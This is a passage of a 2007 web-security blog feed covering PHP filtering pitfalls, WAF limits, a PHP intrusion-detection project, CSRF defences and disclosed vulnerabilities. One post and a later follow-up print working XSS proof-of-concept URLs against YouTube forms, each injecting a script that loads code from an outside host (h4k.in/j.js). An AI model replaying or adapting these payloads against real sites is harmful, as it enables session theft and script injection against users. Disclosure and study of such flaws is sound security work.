style="font-style: italic;">style</var><span style="font-style: italic;"> and </span><var style="font-style: italic;">onmouseover</var><span style="font-style: italic;"> attributes that a mischievous user may abuse when posting text that will be shown to other users. </span><br /><br />That means when using strip_tags() in combination with it's second parameter, which is often done to allow harmless appearing tags like <*i>, <*b>, <*a> and so forth, <span style="font-weight: bold;">every kind of protection simply gets lost.</span><br /><br />One can inject arbitrary Javascript code using the style attribute plus -moz-binding in Firefox and color:expression in Internet Explorer.<br /><br />Therefore I recommend to use htmlspecialchars($var, ENT_QUOTES, $charset) only.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-6170978672024628002?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com2tag:blogger.com,1999:blog-6487569807197140119.post-23740262655711733542007-05-03T10:35:00.000+02:002007-05-03T12:04:22.653+02:00The real effectiveness of current WAFWhile thinking about the recently discussed <a href="http://christ1an.blogspot.com/2007/05/php-based-intrusion-detection-system.html">PHP IDS</a> and other similar Web application firewalls (WAF) like mod_security or mod_parmguard, it seemed to me that quite a lot of people aren't aware of how effective such solutions in fact are.<br /><br />Basically I agree that diffrent layers of protection is always a good idea to get at least close to a status that can considered to be secure. That's why people even started thinking about WAF. Nevertheless these solutions are actually doomed to fail by design, or to phrase it more precisely they are simply not suitable for every underlying scripting language, e.g. Perl, Ruby, PHP - whatsoever.<br /><br />The reason lies in the way they parse incoming HTTP requests. Although the latter might be conform to <a href="http://tools.ietf.org/html/rfc2616">RFC defined standards</a>, it is in fact different from the way HTTP parsers work in application / scripting languages. Because of these differences it's quite easy for an attacker to sniff malicious variables through a WAF like lets say mod_security. An example has been provided <a href="http://www.php-security.org/MOPB/BONUS-12-2007.html#poc">by Stefan Esser during the MOPB</a>.<br /><br />So unless a Web application firewall is implemented exclusively for a specific language, it is very likely to be insecure and therefore using them should be well considered.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-2374026265571173354?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com7tag:blogger.com,1999:blog-6487569807197140119.post-69833462227920201062007-05-01T13:09:00.000+02:002007-05-01T20:00:15.718+02:00PHP based Intrusion Detection SystemDuring the last few weeks <a href="http://mario.heideri.ch/">a friend of mine</a> and myself spent some time working on a PHP based Web application IDS, which essentially is designed to be an additional layer of protection for any website it is used on.<br /><br />It's not officially published yet since we're still changing some parts but I'd like to hear other peoples opinion on this prior contributing it to <a href="http://pear.php.net/">PEAR</a>, which is what we are intending to do in near future. You will find the project including a Subversion repository temporarily on <a href="http://code.google.com/p/phpids/">http://code.google.com/p/phpids/</a><br /><br />The detection system is pretty simple and based on a set of various upgradeable regular expressions that will be cross-checked against any variable passed to the systems main class, named IDS_Monitor. In addition we provide an easy extendable logging mechanism that allows storing detected results in files, sending them via email and things like that.<br /><br />Here's an example of use:<br /><blockquote><*?php <br /><br />try { <br />$storage = new Filter_Storage();<br />$storage->getFilterFromXML('phpids/default_filter.xml');<br /><br /> $get = new IDS_Monitor($_GET, $storage);<br /> $result = $get->run();<br /> <br /> // display results<br /> print_r($result);<br /> <br /> <br /> //Or store the data using IDS_Log_Composite and<br /> // Log_File<br /> require_once('phpids/log/log_file.php');<br /> require_once('phpids/log/log_composite.php');<br /><br /> $compositeLog = new IDS_Log_Composite();<br /> $compositeLog->addLogger(<br /> Log_File::getInstance('results.txt')<br /> );<br /> <br /> if (!empty($result)) {<br /> $compositeLog->execute($result);<br /> }<br /><br /> } catch (Exception $e) {<br /> printf(<br /> 'An error occured: %s',<br /> $e->getMessage()<br /> );<br /> }<br /><br />?*></blockquote>Obviously the effectiveness of the IDS is dependent on the quality of patterns that are used, therefore the system is supplied with a bunch of default patterns, mainly written by <a href="http://mario.heideri.ch/">.mario</a> who is one of the versed people dealing with filtering I've ever met. Moreover to mention is <a href="http://www.0x000000.com/">Ronald</a> (better known as Jungsonn), who also shared his thoughts and expertise. Thank you.<br /><br />So I think very most XSS and SQL injection vectors (being trivial or advanced) should be covered.<br /><br />Are there any comments or suggestions?<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-6983346222792020106?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com16tag:blogger.com,1999:blog-6487569807197140119.post-54229807982842816762007-04-27T15:02:00.000+02:002007-04-27T15:39:37.268+02:00A little something from heise onlineA couple of days ago I came across an SQL injection vulnerability on <a href="http://heise.de/">heise online</a> and due to the severity of this issue I decided to inform them about it immediately, what I probably wouldn't have done if it had been some kind of cross site scripting only.<br /><br />Anyway, the reason I write this posting is because I'm pretty much taken with the kind of response I got. They fixed the issue and additionally sent me a letter saying thank you for the warning.<br /><br />Extremely kind, thanks to Michael Wilde.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img441.imageshack.us/img441/8343/photoey2.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_Xuy5-EZy_Jw/RjH8kBtH3rI/AAAAAAAAACY/k2JBL3ce68U/s320/photo_thumb.png" alt="" id="BLOGGER_PHOTO_ID_5058101552376962738" border="0" /></a><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-5422980798284281676?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com3tag:blogger.com,1999:blog-6487569807197140119.post-45625835414083867852007-04-21T23:56:00.000+02:002007-04-22T01:32:26.677+02:00Adobe UXSS already buried in oblivion?Universal XSS vulnerabilites truly belong to the worst weak points, since they appear unforeseeable and tend to affect a large number of applications. Given that there's no way to protect against them in advance, which makes it even more important to take action as soon as they are discovered.<br /><br />This is approximately what happend in the very beginning of 2007 when <a href="http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf">Stefano Di Paola disclosed the Adboe PDF issue at 23C3</a>. Due to this vulnerability was possible to perform XSS attacks against any website having PDF files, therefore many sites such as Google implemented a function that forced the user to download these files instead of opening them directly in the browser.<br /><br />Well, finally Adobe released a patch that fixed this vulnerability, <span style="font-weight: bold;">which however has never changed the fact that the majority of users most probably still runs vulnerable versions</span>.<br /><br />So why do people keep on storing directly accessible PDF files on their servers? I still find them everywhere while doing audits or simply browsing through the web.<br /><br />To finish with pdp's words: <a href="http://www.gnucitizen.org/blog/danger-danger-danger/">danger, danger, danger</a><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-4562583541408386785?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com3tag:blogger.com,1999:blog-6487569807197140119.post-36419986061005100192007-04-19T15:57:00.001+02:002007-04-19T16:13:15.863+02:00Application insecurity graphedToday I ran across Ed Finklers weblog where he <a href="http://blog.funkatron.com/archives/general/the-php-app-insecurity-top-20/">visualised the top 20 insecure PHP applications</a>, referring to <a href="http://nvd.nist.gov/">NIST NDV data</a>. Pretty interesting, although I've always assumend that Wordpress would head such a table.<br /><br />Ed is intending to keep the stats up-to-date, I really appreciate that.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-3641998606100510019?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com0tag:blogger.com,1999:blog-6487569807197140119.post-34098912432671021552007-04-11T02:49:00.000+02:002007-04-11T03:50:02.379+02:00YouTube is still vulnerableWhen <a href="http://www.jungsonnstudios.com/blog/index.php?i=218&bin=11011010">Jungsonn once wrote about the YouTube XSS</a> I discovered a week or so ago, a short discussion came up on whether web developer as such from YouTube worked sloppy or not.<br /><br />Actually I would assume that for being allowed to modify content on that site, the developer(s) need to be qualified. Otherwise YouTube or Google wouldn't have employed them, right? No, obviously wrong.<br /><br />Well, let me inform you about the background on this in case you <a href="http://christ1an.blogspot.com/2007/04/youtube-has-added-some-features.html">haven't seen it yet</a>. YouTube decided to add new features, which they then announced on their blog. Unfortunately those features were vulnerable to cross site scripting attacks, which got me thinking. How comes that such a major company releases completely untested features? Don't they know or don't they care? Well, lets imagine they made a mistake because multiple dev teams just couldn't manage to work properly together.<br /><br />After a week they finally fixed <a href="http://www.youtube.com/groups_create?field_command=create_group_submit&group_name=&amp;tags=%22%3E%3Cscript/src=http://h4k.in/j.js%3E&description=&amp;short_name=">that particular vulnerabilty</a> but they failed on another one <span style="font-weight: bold;">on exactly the same site and the same form</span>. Meanwhile, that one has been fixed too, since I informed them about it.<br /><br />Anyway, that got me thinking again. You don't need more than one single developer to validate an incoming URL parameter. If I had been that developer I'd probably have had a look on those remaining two or three inputs too, instead of instantly closing the window after having fixed the first issue.<br /><br />I don't think this is a mistake anymore, it's sloppy work and nothing else.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-3409891243267102155?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com1tag:blogger.com,1999:blog-6487569807197140119.post-76917750754629988212007-04-07T22:03:00.000+02:002007-04-08T17:19:57.164+02:00Preventing CSRF efficientlyYet another blog posting about cross site request forgeries and how to prevent them, however this time slightly different and not only dealing with <a href="http://www.gnucitizen.org/blog/preventing-csrf">approaches that have already been discussed numerous times</a> and are likely to fail under certain well known circumstances. It's actually difficult to start on this but I'm prepared with a cup of coffee.<br /><br />If you aren't familar with terms such as CSRF or session riding yet, please use Google or have a look on the <a href="http://www.cgisecurity.com/articles/csrf-faq.shtml">CSRF FAQ</a>, since I will skip that part.<br /><br />During the last moths there has been a great deal of discussion on how to prevent cross site request forgeries and as far as I know, all of them ended confusingly and moreover imperfectly. Uninformed readers may get the impression that it's impossible to protect webapplications or - to phrase it more precisely - users, which however is not true at all. There are in fact various solutions which do work efficiently.<br /><br />To provide you with a broader understanding on this matter, let's first of all talk about solutions that <span style="font-style: italic;">do not work</span> or only to a limited degree. <a href="http://www.gnucitizen.org/blog/preventing-csrf">A lot</a> <a href="http://www.owasp.org/index.php/CSRF_Guard">of people suggest</a> to use hard to guess unique tokens, embedded somewhere in the HTML source or the URL to make sure that the request is valid and intended by the user. I have to admit that this appears to be a working method but actually it isn't if you consider attack techniques that break the same-origin policy, such as cross domain Ajax due to the MHTML bug in Internet Explorer. Thus a versed attacker would gain the secret token and then trigger an authentic looking request to achieve his aim.<br /><br />Next thing often recommended is checking the referer, which is insecure since referers can <a href="http://www.securityfocus.com/archive/1/443391">easily be spoofed</a> in <a href="http://en.wikipedia.org/wiki/XMLHttpRequest">various ways</a> (or simply not sent) but the reason I mention this is because you can implement this as an additional layer of security and refuse referers that are unexpected. So if implemented correctly it's a good idea to check referers.<br /><br />For the sake of completeness I should probably add that using POST instead of GET is not a suitable solution at all but if you haven't realized that by yourself you should consider restarting at the very beginning.<br /><br />Now as I said earlier, there are in fact ways to prevent CSRF efficiently on condition that they are implemented correctly. There is one technique that actually made me write this article and a few others which unfortunately are not liked by many people because they become lazy. One of the latter is CAPTCHA as a second factor credential, another similar approach is forcing the user to re-enter his password or thirdly sending a verification email / SMS.<br /><br />Apparently those procedures are not liked by some people because they are inconveniently and decrease the usability. One the one hand that is right, at least up to a point, but on the other hand one can not equate usability with security. If you want a secure system you will sooner or later need to lower your sights somewhere else.<br /><br />Of course everyone including me wants to hold those cut backs as low as possible and therefore I thought about one last approach, which can in my judgement considered to be secure. If anyone does not agree, you are more than welcome to leave a comment.<br /><br />The idea is to use a session id based token which however <span style="font-weight: bold;">can not</span> be achieved neither by the MHTML bug nor any other kind of cross domain Ajax. To implement this correctly, lets just for a second reflect on the purpose of the MHTML story again. An attacker makes the victim send a request to the site in question where the victim will be authenticated due to a valid cookie. Since the attacker has full read access to that site, he is now able to grab the token and go on with his work.<br /><br />The main weakness of all those former token based solutions is that they only protect security relevant tasks. If such a token was needed on any site and for any request inside the private area, there would be no way to grab a token without having it first. Got that?<br /><br />The token would be generated in response to a successful authentication and then be added on each URL. I suggest to use the first five to six characters of the md5 encrypted session id in combination with a random keyword, which then will be cross checked on each request.<br /><br />Unfortunately developers could fall into several traps while implementing this. <span style="font-style: italic;">Make sure that the token variable is added on every request, otherwise the system will be vulnerable.</span> The same of course applies to XSS or redirection vulnerabilities, however these things remain in the hands of the developer and therefore are not calculable and can be under control.<br /><br />So now it should be clear that it's not impossible to prevent CSRF but it requires to work accurately.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-7691775075462998821?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com21tag:blogger.com,1999:blog-6487569807197140119.post-6361178962609004882007-04-05T17:16:00.000+02:002007-04-05T17:57:42.227+02:00YouTube has added some featuresAs some of you <a href="http://www.youtube.com/blog?entry=njvpySm9d2A">might already have seen</a>, YouTube <a href="http://www.youtube.com/watch?v=MaWi9JfOk3Y">added some highly interesting features</a> last week. Unfortunately they forgot to mention the new key feature, so let me present it.<br /><br />Well, enough of sarcasm. Take a look at <a href="http://www.jungsonnstudios.com/blog/?i=218&bin=11011010">Jungsonns blog</a>, he has already written about what I discovered. An XSS vulnerability in one of YouTube's new sites.<br /><br />Note that you need to be logged in for this expoit to work, anyway - here is the PoC:<br /><a href="http://www.youtube.com/groups_create?field_command=create_group_submit&amp;group_name=&tags=%22%3E%3Cscript/src=http://h4k.in/j.js%3E&amp;description=&short_name=">http://www.youtube.com/groups_create?field_command=create_<br />group_submit&amp;group_name=&tags=%22%3E%3Cscript/src=<br />http://h4k.in/j.js%3E&amp;description=&short_name</a><br /><br />However that's not the end. I have found two more vulnerabilities and I'm going to disclose them right here and right now.<br /><br />#1 - <a href="http://youtube.com/my_profile_theme?command=profile_theme_submit&amp;featured_video_url=%22%3E%3Cscript%2Fsrc%3Dhttp%3A%2F%2Fh4k.in%2Fj.js%3E%3C%2Fscript%3E">PoC</a>; #2 - <a href="http://www.youtube.com/my_profile_blogs_add?blogUsername=%22%3E%3Cscript%2Fsrc%3Dhttp%3A%2F%2Fh4k.in%2Fj.js%3E&blogPassword=&amp;action_show_blogs=Add+Blog">PoC</a><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-636117896260900488?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com0tag:blogger.com,1999:blog-6487569807197140119.post-41648766648469701582007-04-04T16:26:00.000+02:002007-04-04T17:03:38.504+02:00Holes in most preg_match() filtersSince I'm a PHP programmer, I would like to point you on what <a href="http://blog.php-security.org/archives/76-Holes-in-most-preg_match-filters.html">Stefan Esser wrote this morning</a> about preg_match() and common misunderstandings of regular expressions.<br /><br />He states that a lot of people would have an incorrect understanding of the meta character '$' and what it actually does.<br /><br />Well, usually this character is used to assert the end of a subject, which is mostly correct however what Stefan Esser points out is that without the modifier D, a string with a newline ('\n') at the end will match the regex and pass the filter as well.<br /><br />Now without thinking twice about it, one may assume that a newline character passing the filter can not be that dangerous. While this might be true in a lot of cases, it's plain wrong if you want to prevent for example Http Response Splitting or Email Injection attacks.<br /><br />Therefore I recommend to read the manual once again, before starting projects where regex could break your neck.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-4164876664846970158?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com1tag:blogger.com,1999:blog-6487569807197140119.post-49402882204348483042007-04-01T00:20:00.000+02:002007-04-01T00:22:06.141+02:00Digg, Delicious, Netscape & Technorati HackedJust found it, thought I'd have to point you on this in case you haven't seen it yet:<br /><br /><a href="http://mybeni.rootzilla.de/mybeNi/2007/digg_delicious_netscape_technorati_hacked/">http://mybeni.rootzilla.de/</a><br /><br />Obviously Beni put 1 and 2 together. Well done.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-4940288220434848304?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com0tag:blogger.com,1999:blog-6487569807197140119.post-57003725327408160662007-03-10T21:07:00.000+01:002007-03-10T21:22:18.027+01:00Offline for ... some timeNext week I won't have access to my notebook, which means no internet, no e-mail. Actually I started wondering two weeks ago how much I would miss and how many e-mails, postings and whatsoever I'd have to read afterwards.<br /><br />A few minutes ago I found this video and realized that it can't be that much...<br /><br />Check this out: <a href="http://www.youtube.com/watch?v=DUNIzsntFsU">http://www.youtube.com/watch?v=DUNIzsntFsU</a><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-5700372532740816066?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com0tag:blogger.com,1999:blog-6487569807197140119.post-53233207084901105692007-03-10T15:19:00.000+01:002007-03-10T21:22:11.299+01:00Whats on your bookshelf?After some weeks without any blogging, I finally thought it could be interesting to talk about books. But first of all for those who are wondering just a few words about this language mix-up: As from now I'm going to write everything in english that could be at least somehow interesting for english readers, particularly in regard to security or PHP related topics. I apologize for any mistakes as this is not my mother language.<br /><br />So here is what I am reading. The quality isn't that good since it was taken with my cell phone.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_Xuy5-EZy_Jw/RfMFunwsCTI/AAAAAAAAACE/aOcVFIOrtGE/s1600-h/books.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_Xuy5-EZy_Jw/RfMFunwsCTI/AAAAAAAAACE/aOcVFIOrtGE/s320/books.png" alt="" id="BLOGGER_PHOTO_ID_5040378706463033650" border="0" /></a>What do we have?<br /><br />1 - <span style="font-weight: bold;">PHP 5 & MySQL 4.1 by Sven Letzel, Friedhelm Betz</span><br />I actually bought this book several years ago, the time I started with programming web applications. It covers all the basic aspects of PHP programming with MySQL but isn't that well written. I guess there exist much better books. Finally I do not recommend this one.<br /><br />2 - <span style="font-weight: bold;">Professionelle PHP 5 - Programmierung by Georg Schlossnagle</span><br />There is no doubt that Georg Schlossnagle is a very experienced developer and this book turns out accordingly. From the very beginning the reader can see clearly that Georg knows what he is talking about. The book is divided into five main chapters with a lot of subchapters. The author introduces with no more then 250 excellently written pages, dealing with in-depth basics of good programming. You may already guess that this introduction is not as superficial as in other books - a must-read and so are the following chapters: Georg continues with caching, interactions with databases, one chapter about various security related topics and performance. Finally he rounds off with extending the PHP core.<br /><br />Friends of mine who read the original english written edition told me the latter was much better to read however except of many spelling mistakes I think this one is fine too and a good reference book.<br /><br />3 - <span style="font-weight: bold;">PHP 5 für Fortgeschrittene by Harry Fuecks</span><br />This is one of my favorites and it's based on an originally english written edition as well as Georg Schlossnagle's, which I bought previously by the way.<br /><br />Actually this book appears to be difficult to discribe as it covers all the basic aspects of PHP 5 like a good explanation of OOP but seems to be much more practical oriented. Fuecks gives a lot of examples on how to work properly with xdebug, PEAR, streams, user authentication, cache, XML and of course web services but unfortunately I remember a lot of XSS flaws. So for those who think to have some gap's in their knowledge, this is the book you are looking for.<br /><br />4 - <span style="font-weight: bold;">Enterprise PHP Tools by Stefan Priebsch</span><br />Definitely a must-read for everyone who claims himself a serious PHP programmer. The title already gives a slight impression on what this is about and the very first sentence literally says that this was not about PHP - programming. So what is it about? It's all about essential tools any PHP developer should use if he wants to make his daily work easier. Priebsch explains in an almost unimproveable way what xdebug, subversion, phpUnit, PHPDocumentor, Phing and VMware actually are and why they do help to work efficiently. Awesome work!<br /><br />5 - <span style="font-weight: bold;">PHP Design Patterns<span> by Stephan Schmidt</span></span><br />Yet another book about PHP, published in the end of 2006. It's is about design pattern and actually the first german book covering this highly interesting theme. Since PHP 5 comes up with a way better OOP model it appears to me that design patterns become more and more popular, which in fact is very good news and people like Stephan Schmidt help to improve the overall quality of PHP code.<br /><br />The author points out perfectly how important a good application design is and what the benefits of patterns are. The most common ones are explained on a lot websites, you will also find some on php.net but here you'll not only run across some explanations but get a whole discussion on each pattern mentioned. The author follows a step by step routine, which makes it easy to understand the current problem.<br /><br />6 - <span style="font-weight: bold;">PHP - Sicherheit by Christopher Kunz & Peter Prochaska</span><br />This book is definitely a must-read, not only because it is written extremely well but also because a solid knowledge of security is a necessary prerequisite to write professional web - not only PHP - applications. It covers everything needed to write secure PHP code and as well some basics about information security.<br /><br />For your information, Christopher, Peter and furthermore Stefan Esser are currently working on a <a href="http://www.amazon.de/PHP-Sicherheit-PHP-MySQL-Webanwendungen-sicher-programmieren/dp/3898644502/ref=sr_1_2/302-1958739-8110416?ie=UTF8&amp;s=books&qid=1173544239&amp;sr=1-2">second edition</a> of this book, which will be an updated rewrite of the first but additionally contain a chapter dealing with Suhosin and neat things like ext/filter. It's meant to be released by the end of march.<br /><br />7 - <span style="font-weight: bold;">High Performance MySQL by Jeremy D. Zawodny & Derek J. Balling</span><br />I still haven't finished this one but so far I can tell you that it's adressed to people who already have a clue about databases and are looking for an in-depth reference book.<br /><br />8 - <span style="font-weight: bold;">Web 2.0 by Tom Alby</span><br />Like the title states it deals with changes of the web, web 2.0 and what's behind this expression. Interesting reading but - concerning web 2.0 - nothing too exceptional after having read <a href="http://www.oreilly.de/artikel/web20.html">Tim O' Reilly's original statement</a>.<br /><br />9 - <span style="font-weight: bold;">Die heimliche Medienrevolution by Erik Möller</span><br />This is in fact very interesting for everyone who is interested in media and how it influences the entire world. Firstly Möller discribes which kinds of media exist and how they developed over the years, then he concentrates on open source software, wikis and weblogs...<br /><br />You will get a very broad background knowledge about how the world really works, this book is definitely worth reading and as someone on amazon.de states it should become a mandatory reading in schools and basic knowledge of adults.<br /><br />Maybe I should write a more comprehensive article about this book one day.<br /><br />10 - <span style="font-weight: bold;">The Art Of Deception by Kevin Mitnick</span><br />One of my newest books, I've already <a href="http://christ1an.blogspot.com/2007/02/art-of-deception.html">mentioned it before</a>. Unfortunately I haven't had time to finish it but read until chapter four I think. Well actually I knew what it might deal with by the time I saw that Mitnick wrote a book and so far it matches my expectations. So for those who are interested in manipulating people or gathering confidential information - buy this book.<br /><br />I'm going to write a full review on this book once I have finshed it.<br /><br />11 - <span style="font-weight: bold;">Weblogs - Eine kommunikationssoziologische Studie by Jan Schmidt</span><br />While having read this entry you may have noticed how much I'm interested in everything that deals with media and people and/or their behaviour. In my opinion the simple existence of weblogs is something to keep an eye on. I bought this book because I found the title was interesting but haven't read it yet.<br /><br />Thats it! Maybe someone wants to leave a comment. You're welcome.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-5323320708490110569?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com6tag:blogger.com,1999:blog-6487569807197140119.post-55572702514151508092007-02-23T16:12:00.000+01:002007-02-26T16:53:14.446+01:00MS MIME Type Detection PreventionIm <a href="http://christ1an.blogspot.com/2007/02/ie-image-header-injection.html">letzten Eintrag</a> blieb die Frage offen, wie man dem Ratespiel des Internet Explorers auf der Server Seite entgegen wirken kann. Ich denke ich habe dafür eine solide Lösung gefunden. Nach einigen Versuchen stellte sich heraus, dass die <span style="font-style: italic;">hard coded - tests von Microsoft</span> bzw. die <a href="http://msdn.microsoft.com/library/default.asp?url=/workshop/networking/moniker/overview/appendix_a.asp">FindMimeFromData </a>Funktion nichts anderes tun, als die ersten 256 Bytes des jeweiligen Dokumentes nach folgenden Strings zu untersuchen:<br /><ul><li>&lt;html</li><li>&lt;head</li><li>&lt;body</li><li>&lt;pre</li><li>&lt;table</li><li>&lt;a href</li><li>&lt;img src <span style="font-weight: bold;">('src' situationsbedingt nicht notwendig)</span><br /></li><li>&lt;script>string&lt;/script&gt;</li></ul><br />Taucht einer dieser Strings auf, ist das für Microsoft ein eindeutiges Indiz dafür, dass es sich um ein valides HTML Dokument handelt und dementsprechend wird es vom Zauberbrowser MSIE ausgegeben.<br /><br />Von daher ist es kein großer Aufwand mehr, ein entsprechendes Skript zu schreiben das die ersten Bytes daraufhin untersucht. In leicht abgewandelter Form sollte das Skript auch für andere Dateitypen verwendbar sein. - <a href="http://php-classes.net/image.rar"><span style="text-decoration: underline;">http://php-classes.net/image.rar</span></a><span style="text-decoration: underline;"></span><br /><br />Soviel zur MIME Type Detection Prevention.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-5557270251415150809?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com3